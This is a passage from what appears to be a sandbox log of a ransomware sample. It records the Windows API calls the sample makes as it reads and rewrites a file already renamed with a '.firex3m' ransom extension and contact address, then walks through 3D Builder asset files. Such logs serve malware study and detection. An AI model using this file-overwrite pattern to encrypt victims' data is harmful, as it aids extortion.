"c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.868] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.868] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4f00 [0235.868] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0235.868] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0235.868] GetProcessHeap () returned 0x630000 [0235.868] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6f0fe20 [0235.869] GetProcessHeap () returned 0x630000 [0235.869] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6f10fa8 [0235.869] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.869] ReadFile (in: hFile=0x430, lpBuffer=0x6f0fe20, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0fe20*, lpNumberOfBytesRead=0x50fff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.871] GetProcessHeap () returned 0x630000 [0235.871] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0235.871] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.871] WriteFile (in: hFile=0x430, lpBuffer=0x6f10fa8*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f10fa8*, lpNumberOfBytesWritten=0x50fff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.871] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.871] WriteFile (in: hFile=0x430, lpBuffer=0x6f11107*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f11107*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.871] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.871] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.872] CloseHandle (hObject=0x430) returned 1 [0235.872] GetProcessHeap () returned 0x630000 [0235.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f10fa8 | out: hHeap=0x630000) returned 1 [0235.872] GetProcessHeap () returned 0x630000 [0235.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f0fe20 | out: hHeap=0x630000) returned 1 [0235.872] GetProcessHeap () returned 0x630000 [0235.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0235.872] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5288d3fc, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x50ffd20, dwReserved1=0x6f0fe20, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5040 [0235.872] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.872] Sleep (dwMilliseconds=0x1) [0238.029] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\windmill.3mf", len=0x6c | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\windmill.3mf") returned 1 [0238.029] GetProcessHeap () returned 0x630000 [0238.029] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5288) returned 0x6fe3bb0 [0238.029] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\windmill.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\windmill.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.033] Sleep (dwMilliseconds=0x1) [0238.094] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\trophystar.3mf", len=0x6e | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\trophystar.3mf") returned 1 [0238.094] GetProcessHeap () returned 0x630000 [0238.094] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5284) returned 0x6fe3bb0 [0238.094] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\trophystar.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\trophystar.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.096] Sleep (dwMilliseconds=0x1) [0238.112] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traintrackstraight.3mf", len=0x76 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traintrackstraight.3mf") returned 1 [0238.112] GetProcessHeap () returned 0x630000 [0238.112] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5280) returned 0x6fe3bb0 [0238.112] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traintrackstraight.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\traintrackstraight.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.113] Sleep (dwMilliseconds=0x1) [0238.132] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traintracksplit.3mf", len=0x73 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traintracksplit.3mf") returned 1 [0238.132] GetProcessHeap () returned 0x630000 [0238.132] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x527c) returned 0x6fe3bb0 [0238.132] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traintracksplit.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\traintracksplit.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.134] Sleep (dwMilliseconds=0x1) [0238.141] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traintrackrightturn.3mf", len=0x77 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traintrackrightturn.3mf") returned 1 [0238.141] GetProcessHeap () returned 0x630000 [0238.141] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5278) returned 0x6fe3bb0 [0238.142] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traintrackrightturn.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\traintrackrightturn.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.143] Sleep (dwMilliseconds=0x1) [0238.157] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traintrackleftturn.3mf", len=0x76 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traintrackleftturn.3mf") returned 1 [0238.157] GetProcessHeap () returned 0x630000 [0238.157] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5274) returned 0x6fe3bb0 [0238.157] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traintrackleftturn.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\traintrackleftturn.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.159] Sleep (dwMilliseconds=0x1) [0238.173] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traintrackconnector.3mf", len=0x77 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traintrackconnector.3mf") returned 1 [0238.173] GetProcessHeap () returned 0x630000 [0238.173] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5270) returned 0x6fe3bb0 [0238.173] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traintrackconnector.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\traintrackconnector.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.177] Sleep (dwMilliseconds=0x1) [0238.188] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\trainengine.3mf", len=0x6f | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\trainengine.3mf") returned 1 [0238.188] GetProcessHeap () returned 0x630000 [0238.188] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x526c) returned 0x6fe3bb0 [0238.188] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\trainengine.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\trainengine.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.190] Sleep (dwMilliseconds=0x1) [0238.204] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traincarcaboose.3mf", len=0x73 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traincarcaboose.3mf") returned 1 [0238.204] GetProcessHeap () returned 0x630000 [0238.204] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5268) returned 0x6fe3bb0 [0238.204] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traincarcaboose.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\traincarcaboose.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.205] Sleep (dwMilliseconds=0x1) [0238.219] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shuttle.3mf", len=0x6b | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shuttle.3mf") returned 1 [0238.219] GetProcessHeap () returned 0x630000 [0238.219] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5264) returned 0x6fe3bb0 [0238.219] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shuttle.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\shuttle.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.221] Sleep (dwMilliseconds=0x1) [0238.235] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_wedge.png", len=0x6f | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_wedge.png") returned 1 [0238.235] GetProcessHeap () returned 0x630000 [0238.235] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5260) returned 0x6fe3bb0 [0238.235] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_wedge.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\shape_wedge.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.238] Sleep (dwMilliseconds=0x1) [0238.250] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_wedge.3mf", len=0x6f | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_wedge.3mf") returned 1 [0238.250] GetProcessHeap () returned 0x630000 [0238.250] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x525c) returned 0x6fe3bb0 [0238.250] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_wedge.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\shape_wedge.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.252] Sleep (dwMilliseconds=0x1) [0238.266] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_torus.png", len=0x6f | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_torus.png") returned 1 [0238.266] GetProcessHeap () returned 0x630000 [0238.266] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5258) returned 0x6fe3bb0 [0238.266] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_torus.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\shape_torus.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.268] Sleep (dwMilliseconds=0x1) [0238.282] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_torus.3mf", len=0x6f | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_torus.3mf") returned 1 [0238.282] GetProcessHeap () returned 0x630000 [0238.282] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5254) returned 0x6fe3bb0 [0238.282] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_torus.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\shape_torus.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.283] Sleep (dwMilliseconds=0x1) [0238.297] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_tetrahedron.png", len=0x75 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_tetrahedron.png") returned 1 [0238.297] GetProcessHeap () returned 0x630000 [0238.298] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5250) returned 0x6fe3bb0 [0238.298] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_tetrahedron.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\shape_tetrahedron.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.299] Sleep (dwMilliseconds=0x1) [0238.313] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_tetrahedron.3mf", len=0x75 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_tetrahedron.3mf") returned 1 [0238.313] GetProcessHeap () returned 0x630000 [0238.313] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x524c) returned 0x6fe3bb0 [0238.313] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_tetrahedron.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\shape_tetrahedron.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.314] Sleep (dwMilliseconds=0x1) [0238.328] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_sphere.png", len=0x70 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_sphere.png") returned 1 [0238.329] GetProcessHeap () returned 0x630000 [0238.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5248) returned 0x6fe3bb0 [0238.329] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_sphere.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\shape_sphere.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.330] Sleep (dwMilliseconds=0x1) [0238.344] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_sphere.3mf", len=0x70 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_sphere.3mf") returned 1 [0238.344] GetProcessHeap () returned 0x630000 [0238.344] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5244) returned 0x6fe3bb0 [0238.345] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_sphere.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\shape_sphere.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.385] Sleep (dwMilliseconds=0x1) [0238.392] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_pyramid.png", len=0x71 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_pyramid.png") returned 1 [0238.392] GetProcessHeap () returned 0x630000 [0238.392] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5240) returned 0x6fe3bb0 [0238.392] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_pyramid.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\shape_pyramid.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.395] Sleep (dwMilliseconds=0x1) [0238.407] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program 